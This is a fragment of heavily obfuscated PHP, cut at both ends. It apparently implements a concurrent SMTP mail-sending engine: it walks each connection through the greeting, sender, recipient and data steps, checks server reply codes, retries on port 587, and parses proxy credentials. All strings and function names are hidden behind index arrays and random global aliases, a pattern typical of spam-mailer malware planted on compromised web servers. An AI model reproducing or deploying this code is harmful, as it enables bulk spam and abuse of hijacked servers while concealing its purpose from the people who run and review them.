$kgjgx72[$irsck14][$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55].$z26[85].$z26[55].$z26[45].$z26[1]].$kgjgx72[$irsck14][$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]], $z26[57].$z26[85].$kgjgx72[$irsck14][$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1]])) { $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] = TRUE; $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[33].$z26[89].$z26[63]] = 2; } else { $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] = FALSE; } } else { if (@$GLOBALS['dptpo51']($kgjgx72[$irsck14][$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45].$z26[16]], $kgjgx72[$irsck14][$z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96]], $kgjgx72[$irsck14][$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]], $kgjgx72[$irsck14][$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]])) { $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] = TRUE; $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[33].$z26[89].$z26[63]] = 2; } else { $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] = FALSE; } } } } function gtzjf94($z26, &$kgjgx72) { while ($GLOBALS['wbusj95']($z26, $kgjgx72)) { $GLOBALS['cqced42']($z26, $kgjgx72); $GLOBALS['hcmkz82'](25000); } } function vgefz59($z26, &$kgjgx72, $kkpzl95, $zbrar23, $doyaq76) { if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]] != FALSE) { $GLOBALS['lecyc16']($z26, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]]); } $kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[31].$z26[55].$z26[55]] = $z26[86].$kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]].$z26[48].$GLOBALS['vbzwj52']($GLOBALS['royge30']($z26[14].$z26[13].$z26[24].$z26[14], $z26[29], $zbrar23)); $kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[85].$z26[89].$z26[2].$z26[34].$z26[5].$z26[1].$z26[96].$z26[52]] = $doyaq76; $kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[5].$z26[1].$z26[96].$z26[52].$z26[35].$z26[31].$z26[9].$z26[25]] = TRUE; return; } function rmssi53($z26, &$kgjgx72) { $tbiem96 = $GLOBALS['akdzl43'](); foreach($kgjgx72 as $kkpzl95=>$ijxwp10) { if ($ijxwp10[$z26[34].$z26[35].$z26[5].$z26[1].$z26[96].$z26[52].$z26[35].$z26[31].$z26[9].$z26[25]] == TRUE) { continue; } if ($ijxwp10[$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] + 20 < $tbiem96) { if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] == $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36]) && $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[52].$z26[45].$z26[55].$z26[96]] != 587) { $GLOBALS['lecyc16']($z26, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[52].$z26[45].$z26[55].$z26[96]] = 587; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); continue; } $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $z26[96].$z26[2].$z26[1].$z26[31].$z26[45].$z26[15].$z26[96], FALSE); continue; } switch($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]]) { case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36]): if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[1].$z26[6].$z26[89].$z26[25].$z26[25].$z26[55]] == FALSE) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[1].$z26[6].$z26[89].$z26[25].$z26[25].$z26[55]] = @$GLOBALS['genac32']($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[1].$z26[6].$z26[7].$z26[45].$z26[5].$z26[96]]); if (!@$GLOBALS['aibit15']($z26[14].$z26[77].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[26].$z26[69].$z26[54].$z26[21].$z26[22].$z26[37].$z26[82].$z26[30].$z26[43].$z26[26].$z26[49].$z26[22].$z26[14], $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[1].$z26[6].$z26[89].$z26[25].$z26[25].$z26[55]])) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $z26[55].$z26[31].$z26[5].$z26[45].$z26[34].$z26[87].$z26[31].$z26[29].$z26[1].$z26[6], FALSE); break; } } $qxohi56 = 0; $qhovh99 = ''; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]] = $GLOBALS['vuwpm73']($z26, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]], $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[67].$z26[17].$z26[3].$z26[36].$z26[3].$z26[35].$z26[36].$z26[56].$z26[67]), $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[1].$z26[6].$z26[89].$z26[25].$z26[25].$z26[55]], $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[52].$z26[45].$z26[55].$z26[96]], 2, $qxohi56, $qhovh99, TRUE); if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]] == FALSE) { break; } if ($qxohi56 == 0 || $qxohi56 === 56 || $qxohi56 === 10056 ) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36].$z26[76].$z26[10]); $GLOBALS['ieetj84']($z26, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]], 15); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36].$z26[76].$z26[10]): if ($GLOBALS['opimn45']($z26, $kgjgx72, $kkpzl95)) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = ""; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = $z26[76].$z26[19].$z26[44].$z26[3].$z26[29].$kgjgx72[$kkpzl95][$z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[85].$z26[55].$z26[45].$z26[1]].$z26[13].$z26[24]; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[76].$z26[19].$z26[44].$z26[3]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[76].$z26[19].$z26[44].$z26[3]): if ($GLOBALS['xrmxg8']($z26, $kgjgx72, $kkpzl95)) { if ($GLOBALS['opimn45']($z26, $kgjgx72, $kkpzl95)) { if (substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], 0, 3) != 250) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], TRUE); break; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = ""; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = $z26[97].$z26[94].$z26[71].$z26[44].$z26[29].$z26[8].$z26[17].$z26[3].$z26[97].$z26[66].$z26[61].$kgjgx72[$kkpzl95][$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1]].$z26[11].$z26[13].$z26[24]; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[97].$z26[94].$z26[71].$z26[44].$z26[8].$z26[17].$z26[3].$z26[97]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); } break; } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[97].$z26[94].$z26[71].$z26[44].$z26[8].$z26[17].$z26[3].$z26[97]): if ($GLOBALS['xrmxg8']($z26, $kgjgx72, $kkpzl95)) { if ($GLOBALS['opimn45']($z26, $kgjgx72, $kkpzl95)) { if (substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], 0, 3) != 250) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], TRUE); break; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = ""; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = $z26[17].$z26[56].$z26[67].$z26[36].$z26[29].$z26[36].$z26[3].$z26[66].$z26[61].$kgjgx72[$kkpzl95][$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]].$z26[11].$z26[13].$z26[24]; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[17].$z26[56].$z26[67].$z26[36].$z26[36].$z26[3]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); } break; } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[17].$z26[56].$z26[67].$z26[36].$z26[36].$z26[3]): if ($GLOBALS['xrmxg8']($z26, $kgjgx72, $kkpzl95)) { if ($GLOBALS['opimn45']($z26, $kgjgx72, $kkpzl95)) { if (substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], 0, 3) != 250 && substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], 0, 3) != 251) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], TRUE); break; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = ""; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = $z26[10].$z26[94].$z26[36].$z26[94].$z26[13].$z26[24]; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[10].$z26[94].$z26[36].$z26[94]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); } break; } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[10].$z26[94].$z26[36].$z26[94]): if ($GLOBALS['xrmxg8']($z26, $kgjgx72, $kkpzl95)) { if ($GLOBALS['opimn45']($z26, $kgjgx72, $kkpzl95)) { if (substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], 0, 3) != 354) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], TRUE); break; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = ""; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]].$z26[13].$z26[24].$kgjgx72[$kkpzl95][$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]].$z26[13].$z26[24].$z26[82].$z26[13].$z26[24]; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[70].$z26[3].$z26[10].$z26[80]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); } break; } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[70].$z26[3].$z26[10].$z26[80]): if ($GLOBALS['xrmxg8']($z26, $kgjgx72, $kkpzl95)) { if ($GLOBALS['opimn45']($z26, $kgjgx72, $kkpzl95)) { if (substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], 0, 3) != 250) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]], TRUE); break; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = ""; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = $z26[83].$z26[47].$z26[71].$z26[36].$z26[13].$z26[24]; $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] = $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[47].$z26[71].$z26[36]); $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31]] = $GLOBALS['akdzl43'](); $kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] = TRUE; $kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[33].$z26[89].$z26[63]] = 1; } break; } break; case $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[47].$z26[71].$z26[36]): if ($GLOBALS['xrmxg8']($z26, $kgjgx72, $kkpzl95)) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, "", FALSE); } break; } } } function bchyk99($z26, &$kgjgx72, $kkpzl95) { $qxohi56 = 0; $qhovh99 = ""; if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23]] == FALSE) { if ($GLOBALS['qujzg48']($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]]) != 0) { return TRUE; } return FALSE; } $ssndb82 = $GLOBALS['yfhmb1']($z26, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]], 4086, $qxohi56, $qhovh99); if ($ssndb82 == FALSE || $ssndb82 == "") { if ($qxohi56 != 35 && $qxohi56 != 10035 && $qxohi56!= 11 && $qxohi56!= 10060) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $qhovh99, FALSE); return FALSE; } if ($GLOBALS['qujzg48']($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]]) != 0) { return TRUE; } return FALSE; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9]] = $ssndb82; return FALSE; } function zncig12($z26, &$kgjgx72, $kkpzl95) { $qxohi56 = 0; $qhovh99 = ""; if ($GLOBALS['qujzg48']($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]]) == 0) { return TRUE; } $ssndb82 = $GLOBALS['vbmgn26']($z26, $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]], $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]], $qxohi56, $qhovh99); if ($ssndb82 == FALSE) { if ($qxohi56 != 35 && $qxohi56 != 10035 && $qxohi56 != 11 && $qxohi56 != 10060) { $GLOBALS['wqgpi24']($z26, $kgjgx72, $kkpzl95, $qhovh99, FALSE); } return FALSE; } $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]] = substr($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]], $ssndb82); if ($GLOBALS['qujzg48']($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96]]) == 0) { return TRUE; } return FALSE; } function hfrbo91($z26, &$kgjgx72) { $smtab80 = FALSE; if ($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76]) != $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])) { foreach($GLOBALS['nhzva51']($kgjgx72) as $kkpzl95) { if ($kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[5].$z26[1].$z26[96].$z26[52].$z26[35].$z26[31].$z26[9].$z26[25]] != TRUE) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23]] = TRUE; $smtab80 = TRUE; } } return $smtab80; } $ckces20 = array(); foreach($GLOBALS['nhzva51']($kgjgx72) as $kkpzl95) { if ($kgjgx72[$kkpzl95][$z26[34].$z26[35].$z26[5].$z26[1].$z26[96].$z26[52].$z26[35].$z26[31].$z26[9].$z26[25]] != TRUE) { if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]] == 0 || $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52]] == $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36])) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23]] = TRUE; } else { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23]] = FALSE; $ckces20[]=$kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]]; } $smtab80 = TRUE; } } if ($GLOBALS['besfv99']($ckces20) == 0) { return $smtab80; } $wzlix23 = @$GLOBALS['rhucm8']($ckces20, $ncwxo32 = NULL, $cdvox91 = NULL, 0); if ($wzlix23 == FALSE || $wzlix23 == 0) { return $smtab80; } foreach($GLOBALS['nhzva51']($kgjgx72) as $kkpzl95) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23]] = FALSE; foreach($ckces20 as $faifd7) { if ($kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60]] == $faifd7) { $kgjgx72[$kkpzl95][$z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23]] = TRUE; break; } } } return $smtab80; } function itwro48($z26, $xyslz28) { if ($GLOBALS['oenkz14']($z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[55].$z26[31].$z26[89].$z26[96].$z26[31]) && $GLOBALS['oenkz14']($z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[45].$z26[9].$z26[9].$z26[31].$z26[18].$z26[96]) && $GLOBALS['oenkz14']($z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[55].$z26[31].$z26[89].$z26[25]) && $GLOBALS['oenkz14']($z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[33].$z26[55].$z26[2].$z26[96].$z26[31])) { $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76], $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])); return TRUE; } if ($GLOBALS['oenkz14']($z26[85].$z26[5].$z26[45].$z26[18].$z26[60].$z26[45].$z26[52].$z26[31].$z26[9])) { $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76], $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[8].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])); return TRUE; } if ($GLOBALS['oenkz14']($z26[5].$z26[96].$z26[55].$z26[31].$z26[89].$z26[1].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[34].$z26[2].$z26[31].$z26[9].$z26[96])) { $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76], $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[36].$z26[17].$z26[76].$z26[94].$z26[97])); return TRUE; } $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76], $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[40].$z26[3])); return FALSE; } function xbzaw60($z26, $gdyzo76, $mdbih30, &$ijxwp10) { $rpbtb4 = array(); if (FALSE === @$GLOBALS['aibit15']($z26[14].$z26[77].$z26[82].$z26[92].$z26[30].$z26[84].$z26[43].$z26[30].$z26[77].$z26[82].$z26[92].$z26[30].$z26[84].$z26[43].$z26[30].$z26[77].$z26[82].$z26[16].$z26[4].$z26[77].$z26[82].$z26[16].$z26[43].$z26[30].$z26[43].$z26[84].$z26[30].$z26[14], $gdyzo76, $rpbtb4) ) { return FALSE; } if (!isset($rpbtb4) || $GLOBALS['besfv99']($rpbtb4) != 5) { return FALSE; } $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]] = @$GLOBALS['qfllr88']($GLOBALS['rhpxb62']($z26[84],"",$rpbtb4[1])); $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[34].$z26[89].$z26[5].$z26[96]] = @$GLOBALS['qfllr88']($GLOBALS['rhpxb62']($z26[84],"",$rpbtb4[2])); $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]] = $GLOBALS['rhpxb62']($z26[84],"",$rpbtb4[3]); $ijxwp10[$z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[96].$z26[45]] = $GLOBALS['rhpxb62']($z26[84],"",$rpbtb4[4]); if (!isset($ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]]) || $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]] == "") { return FALSE; } if (!isset($ijxwp10[$z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[96].$z26[45]]) || $ijxwp10[$z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[96].$z26[45]] == "") { return FALSE; } if (isset($ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]]) && $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]] != "") { $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45].$z26[16]] = $z26[75].$ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]].$z26[29].$ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[34].$z26[89].$z26[5].$z26[96]].$z26[75].$z26[29].$z26[61].$ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]].$z26[11]; } else { $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45].$z26[16]] = $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]]; } $ijxwp10[$z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[85].$z26[55].$z26[45].$z26[1]] = $mdbih30[$z26[7].$z26[45].$z26[5].$z26[96].$z26[8].$z26[55].$z26[45].$z26[1]]; if ($GLOBALS['aibit15']($z26[14].$z26[27].$z26[77].$z26[86].$z26[69].$z26[57].$z26[58].$z26[48].$z26[39].$z26[86].$z26[69].$z26[57].$z26[58].$z26[48].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[69].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[88].$z26[86].$z26[50].$z26[57].$z26[49].$z26[48].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[88].$z26[41].$z26[86].$z26[50].$z26[57].$z26[41].$z26[48].$z26[43].$z26[77].$z26[37].$z26[82].$z26[77].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[86].$z26[69].$z26[57].$z26[58].$z26[48].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[69].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[88].$z26[86].$z26[50].$z